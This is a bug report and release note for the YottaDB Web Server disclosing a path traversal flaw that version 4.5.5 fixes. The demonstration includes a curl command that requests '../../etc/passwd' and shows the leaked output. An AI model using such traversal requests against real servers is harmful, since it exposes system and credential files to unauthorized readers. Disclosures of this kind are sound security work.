Skip to content

Use symlinks to explicitly provide access to files outside web server directory

Final Release Note

The YottaDB Web Server disallows path traversal using .. to access files outside the directory served by the web server. Previously, crafting URLs with .. could access files outside of the directory served by the web server. All versions below 4.5.4 are affected. Version 4.5.5 fixes this issue. You can test the version thus:

$ yottadb -run %XCMD 'write $$version^%ydbwebversion,!'
4.5.5
$

You can upgrade using sudo $ydb_dist/ydbinstall --webserver --plugins-only --overwrite-existing. Use a symbolic link from within the web server directory to explicitly provide access to files outside the directory served by the web server. [#149 (closed)]

Description

The web server provides remote access to any file in the file system (any file that is readable by the user).

No authentication is needed, even if authentication is enabled.

This seems like a serious security problem to me.

Demonstration

Start web server from a user home directory, for example /home/exampleuser:

$ cd ~
$ ydb -run ^%ydbwebreq
Starting Server at port 9080 in directory /home/exampleuser/ at logging level 0

Make request for path, potentially from another host:

$ curl --path-as-is  'http://localhost:9080/../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

Cause

The problem is this code, that serves files when no routine mapping is found:

https://gitlab.com/YottaDB/Util/YDB-Web-Server/-/blob/300fa74016bc413578da367afacd898af2209666/src/_ydbwebrsp.m#L232

Note 1

This problem does not affect our application at VGR. We run a modified version of the web server where I have disables all such suspicious looking code. I report just to let you know.

Note 2

I think the web server users should have to opt in to serving files from the file system. Even if the code where fixed to only server files from the working directory that could also be a problem.

Note 3

Let me take this opportunity to say that I am also suspicious about the HTTP headers to change working directory, global directory and environment variables. Can those be used for some kind of exploit? I don't know. But it seems imprudent to have those enabled by default.

Draft Release Note

TODO

Edited by K.S. Bhaskar